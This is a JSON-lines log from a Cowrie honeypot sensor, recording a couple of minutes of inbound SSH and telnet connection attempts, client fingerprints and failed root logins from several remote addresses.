{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:70:5b:42:f1:b4:17:0e:09:12:a5:04:39:26:52:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvYvMUfEQOIMKP37WgcISpkkbtNnlT/JS4T7DoF2NFkW8mVwTXP2aNbF2gtL43HL8mgtzOHKRoc15/X4y4iE9L+906yVN+aJ0yXvueHmKBs8Lnsc2IV3cbDL9fM02CNIHyLuh7RzRSR94J3XVWgBmhWLhHYzEzMWFMARq9IhGMVGLpPNrz9spXvp8PRjwGaYQ2oU1ssln1VpZM07YL7PuAfjB5nrAwz+nqfhHi4unMb56yPioZky9Nvgktf7pFAjtvYBX3GMB0v9pMC6LL3YC8WXg0rsqEjwB5ZEpXqQk8Ylgn75Zoz4aawMzkL+2Ro978SNrITfPbMjqPS38K6w/vLhSxxCHxA4GwHW46Qo5dbVhAuN9UxZWLEWXm+N2dtH5YkDkjkraS0ZXVRbUgG1W0WYl+Biw3rxATr+4uUTbbexbutx7VVjtYOzx1ch/q2mHI25NVsKh+O8qerrzl4Mo+F6w+JvoNhYKxBHdYoh5EQ2adxNPP9o1ZWV7eOKlw85k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:70:5b:42:f1:b4:17:0e:09:12:a5:04:39:26:52:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.306682Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:70:5b:42:f1:b4:17:0e:09:12:a5:04:39:26:52:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvYvMUfEQOIMKP37WgcISpkkbtNnlT/JS4T7DoF2NFkW8mVwTXP2aNbF2gtL43HL8mgtzOHKRoc15/X4y4iE9L+906yVN+aJ0yXvueHmKBs8Lnsc2IV3cbDL9fM02CNIHyLuh7RzRSR94J3XVWgBmhWLhHYzEzMWFMARq9IhGMVGLpPNrz9spXvp8PRjwGaYQ2oU1ssln1VpZM07YL7PuAfjB5nrAwz+nqfhHi4unMb56yPioZky9Nvgktf7pFAjtvYBX3GMB0v9pMC6LL3YC8WXg0rsqEjwB5ZEpXqQk8Ylgn75Zoz4aawMzkL+2Ro978SNrITfPbMjqPS38K6w/vLhSxxCHxA4GwHW46Qo5dbVhAuN9UxZWLEWXm+N2dtH5YkDkjkraS0ZXVRbUgG1W0WYl+Biw3rxATr+4uUTbbexbutx7VVjtYOzx1ch/q2mHI25NVsKh+O8qerrzl4Mo+F6w+JvoNhYKxBHdYoh5EQ2adxNPP9o1ZWV7eOKlw85k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.310742Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:93:69:6a:15:ca:cd:0b:b9:2f:e6:72:d8:d8:f1:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvPI4q/KAYd46HjBPLwTki9ajOsXiJxbrwpe7XB7jS6jV9JlzGp3+LzNi10wXwPanJNgPl5Iw5Ilk84hUbJgMrafnVqTn78G+nFjqFnC59nCT0UzLxqUuVUapd7gy4xzRWqlwKyOXB2z8niD9O0VgpZILVpD252tdm/g7zMkFCSiKyDo7tcDk0NKu2scgTa8X7F0tNlyqjwVv2Qwxh3gpeqkJQXRVq0e+yvHOFISTY+eoczHdNBArFxaTblX4pzTfqJlvQJ/hk+y2yrF6qrI6iUfgDMcCu6ka26rX4t7wqwkMEAlhH4k+x7KSH1bpnAZm9ArZK2KHGJgliPVnljWHr85UamFNHbDrCtJW+BuaA8+b9M8b/GoGqI8bmwFwgr8gSDxhIhlV5ArlI9ijUTVO2SOfE+W9feELTzvHV6mCXT/SwhqDeVnHd1lEFGeect4mHgAlVYUMOxLPitgvPXyTSVnU57cHDECdi/nojb/XFGbQxg3KoRsg3EGWRGg4vlBZgksEZRtCWIJMrfeyIUmMQTJgsLi8MCySLpxrve0y2aMeumLXSi1R91YrctnuePrXyGDcfVT9bwBzHzAJEjfNU+23HTpQZBCp97c5UiuIS0jPvFkpBzvZvtbPgNFJTLk/0mNEOgY38gsO7NnCpzGw8H3VpPS7bVXGNledz7nw0TQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:93:69:6a:15:ca:cd:0b:b9:2f:e6:72:d8:d8:f1:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.341434Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:93:69:6a:15:ca:cd:0b:b9:2f:e6:72:d8:d8:f1:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvPI4q/KAYd46HjBPLwTki9ajOsXiJxbrwpe7XB7jS6jV9JlzGp3+LzNi10wXwPanJNgPl5Iw5Ilk84hUbJgMrafnVqTn78G+nFjqFnC59nCT0UzLxqUuVUapd7gy4xzRWqlwKyOXB2z8niD9O0VgpZILVpD252tdm/g7zMkFCSiKyDo7tcDk0NKu2scgTa8X7F0tNlyqjwVv2Qwxh3gpeqkJQXRVq0e+yvHOFISTY+eoczHdNBArFxaTblX4pzTfqJlvQJ/hk+y2yrF6qrI6iUfgDMcCu6ka26rX4t7wqwkMEAlhH4k+x7KSH1bpnAZm9ArZK2KHGJgliPVnljWHr85UamFNHbDrCtJW+BuaA8+b9M8b/GoGqI8bmwFwgr8gSDxhIhlV5ArlI9ijUTVO2SOfE+W9feELTzvHV6mCXT/SwhqDeVnHd1lEFGeect4mHgAlVYUMOxLPitgvPXyTSVnU57cHDECdi/nojb/XFGbQxg3KoRsg3EGWRGg4vlBZgksEZRtCWIJMrfeyIUmMQTJgsLi8MCySLpxrve0y2aMeumLXSi1R91YrctnuePrXyGDcfVT9bwBzHzAJEjfNU+23HTpQZBCp97c5UiuIS0jPvFkpBzvZvtbPgNFJTLk/0mNEOgY38gsO7NnCpzGw8H3VpPS7bVXGNledz7nw0TQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.345937Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.374870Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:05.372869Z","src_ip":"45.78.204.254","session":"6d43b12f1842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.741283893585205,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:07.337316Z","src_ip":"192.119.13.58","session":"0e7744862b4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.981961727142334,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:08.895686Z","src_ip":"192.119.13.58","session":"70d7171b0cc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43196,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbed7353b0be","protocol":"telnet","message":"New connection: 192.119.13.58:43196 (10.17.0.5:23) [session: fbed7353b0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:08.931760Z"}
{"eventid":"cowrie.session.closed","duration":42.96040391921997,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:08.963510Z","src_ip":"192.119.13.58","session":"ed5067047531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.31373834609985,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:11.794058Z","src_ip":"192.119.13.58","session":"33ea55a58bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33052,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b7869d200d","protocol":"telnet","message":"New connection: 192.119.13.58:33052 (10.17.0.5:23) [session: 70b7869d200d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:13.478963Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33508,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bb468e61364","protocol":"telnet","message":"New connection: 192.119.13.58:33508 (10.17.0.5:23) [session: 0bb468e61364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:13.594142Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45092,"dst_ip":"10.17.0.5","dst_port":23,"session":"bedf0406c107","protocol":"telnet","message":"New connection: 192.119.13.58:45092 (10.17.0.5:23) [session: bedf0406c107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:16.292607Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46800,"dst_ip":"10.17.0.5","dst_port":23,"session":"e63e84ec8b87","protocol":"telnet","message":"New connection: 192.119.13.58:46800 (10.17.0.5:23) [session: e63e84ec8b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:17.715022Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51588,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e96e0551901","protocol":"telnet","message":"New connection: 192.119.13.58:51588 (10.17.0.5:23) [session: 5e96e0551901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:17.820425Z"}
{"eventid":"cowrie.session.closed","duration":40.34172201156616,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:21.681658Z","src_ip":"192.119.13.58","session":"9a1664f6e802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":52552,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dd9e2bd7535","protocol":"ssh","message":"New connection: 103.122.221.179:52552 (10.17.0.5:22) [session: 2dd9e2bd7535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:23.042443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:23.048254Z","src_ip":"103.122.221.179","session":"2dd9e2bd7535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:23.298022Z","src_ip":"103.122.221.179","session":"2dd9e2bd7535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48940,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4de30d9e9e8","protocol":"telnet","message":"New connection: 192.119.13.58:48940 (10.17.0.5:23) [session: d4de30d9e9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:24.019371Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"merlin","message":"login attempt [root/merlin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:24.048813Z","src_ip":"103.122.221.179","session":"2dd9e2bd7535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:25.301250Z","src_ip":"103.122.221.179","session":"2dd9e2bd7535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.56997728347778,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:28.955684Z","src_ip":"192.119.13.58","session":"3ff748c51a88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54138,"dst_ip":"10.17.0.5","dst_port":23,"session":"860afb7d18d1","protocol":"telnet","message":"New connection: 192.119.13.58:54138 (10.17.0.5:23) [session: 860afb7d18d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:32.283353Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58046,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8ed13eb4975","protocol":"telnet","message":"New connection: 192.119.13.58:58046 (10.17.0.5:23) [session: b8ed13eb4975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:33.280005Z"}
{"eventid":"cowrie.session.closed","duration":45.5246798992157,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:37.003056Z","src_ip":"192.119.13.58","session":"54bacf6bb5d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50894,"dst_ip":"10.17.0.5","dst_port":23,"session":"6259392868e6","protocol":"telnet","message":"New connection: 192.119.13.58:50894 (10.17.0.5:23) [session: 6259392868e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:38.435071Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55734,"dst_ip":"10.17.0.5","dst_port":23,"session":"12df1e29b083","protocol":"telnet","message":"New connection: 192.119.13.58:55734 (10.17.0.5:23) [session: 12df1e29b083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:39.636055Z"}
{"eventid":"cowrie.session.closed","duration":37.17570996284485,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:46.107373Z","src_ip":"192.119.13.58","session":"fbed7353b0be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57942,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9d68731bd71","protocol":"telnet","message":"New connection: 192.119.13.58:57942 (10.17.0.5:23) [session: e9d68731bd71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:47.137479Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33476,"dst_ip":"10.17.0.5","dst_port":23,"session":"795c732dd794","protocol":"telnet","message":"New connection: 192.119.13.58:33476 (10.17.0.5:23) [session: 795c732dd794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:47.999696Z"}
{"eventid":"cowrie.session.closed","duration":35.346200466156006,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:48.940229Z","src_ip":"192.119.13.58","session":"0bb468e61364","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5715217590332,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:52.286412Z","src_ip":"192.119.13.58","session":"e63e84ec8b87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57992,"dst_ip":"10.17.0.5","dst_port":23,"session":"f302ef58deaf","protocol":"telnet","message":"New connection: 192.119.13.58:57992 (10.17.0.5:23) [session: f302ef58deaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:54.003000Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44860,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fa851467115","protocol":"telnet","message":"New connection: 192.119.13.58:44860 (10.17.0.5:23) [session: 5fa851467115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:57.787239Z"}
{"eventid":"cowrie.session.closed","duration":43.50316834449768,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:59.795680Z","src_ip":"192.119.13.58","session":"bedf0406c107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.50988578796387,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:00.330215Z","src_ip":"192.119.13.58","session":"5e96e0551901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.977975845336914,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:04.456573Z","src_ip":"192.119.13.58","session":"70b7869d200d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76670551300049,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:05.049868Z","src_ip":"192.119.13.58","session":"860afb7d18d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.52432870864868,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:09.543616Z","src_ip":"192.119.13.58","session":"d4de30d9e9e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44966,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eef8e6e0ed3","protocol":"telnet","message":"New connection: 192.119.13.58:44966 (10.17.0.5:23) [session: 0eef8e6e0ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:11.607653Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50570,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1ee4ab489c6","protocol":"telnet","message":"New connection: 192.119.13.58:50570 (10.17.0.5:23) [session: a1ee4ab489c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:12.933489Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55838,"dst_ip":"10.17.0.5","dst_port":23,"session":"be90c2ad92a2","protocol":"telnet","message":"New connection: 192.119.13.58:55838 (10.17.0.5:23) [session: be90c2ad92a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:14.269242Z"}
{"eventid":"cowrie.session.closed","duration":0.005268096923828125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:14.274389Z","src_ip":"192.119.13.58","session":"be90c2ad92a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.31150269508362,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:14.591383Z","src_ip":"192.119.13.58","session":"b8ed13eb4975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.465866804122925,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:16.101717Z","src_ip":"192.119.13.58","session":"12df1e29b083","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37923240661621,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:19.516568Z","src_ip":"192.119.13.58","session":"e9d68731bd71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49190,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc0b45de528","protocol":"telnet","message":"New connection: 192.119.13.58:49190 (10.17.0.5:23) [session: 0bc0b45de528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:20.498620Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59732,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8eae3ecdab8","protocol":"telnet","message":"New connection: 192.119.13.58:59732 (10.17.0.5:23) [session: c8eae3ecdab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:28.585835Z"}
{"eventid":"cowrie.session.closed","duration":30.95246195793152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:28.739568Z","src_ip":"192.119.13.58","session":"5fa851467115","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.548476696014404,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:28.983400Z","src_ip":"192.119.13.58","session":"6259392868e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43942,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fe605bb9f21","protocol":"telnet","message":"New connection: 192.119.13.58:43942 (10.17.0.5:23) [session: 5fe605bb9f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:38.994484Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57730,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3b34f3188d3","protocol":"telnet","message":"New connection: 192.119.13.58:57730 (10.17.0.5:23) [session: a3b34f3188d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:41.268496Z"}
{"eventid":"cowrie.session.closed","duration":53.780344009399414,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:41.779913Z","src_ip":"192.119.13.58","session":"795c732dd794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.12998819351196,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:45.132861Z","src_ip":"192.119.13.58","session":"f302ef58deaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54206,"dst_ip":"10.17.0.5","dst_port":23,"session":"e241bfd75a0f","protocol":"telnet","message":"New connection: 192.119.13.58:54206 (10.17.0.5:23) [session: e241bfd75a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:47.237252Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46582,"dst_ip":"10.17.0.5","dst_port":23,"session":"18a3c7591bf6","protocol":"telnet","message":"New connection: 192.119.13.58:46582 (10.17.0.5:23) [session: 18a3c7591bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:52.115176Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63413,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b80a4b56e56","protocol":"ssh","message":"New connection: 152.42.212.128:63413 (10.17.0.5:22) [session: 7b80a4b56e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:56.184578Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:56.192799Z","src_ip":"152.42.212.128","session":"7b80a4b56e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:56.197041Z","src_ip":"152.42.212.128","session":"7b80a4b56e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35208,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a6283bc7688","protocol":"telnet","message":"New connection: 192.119.13.58:35208 (10.17.0.5:23) [session: 3a6283bc7688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:56.201025Z"}
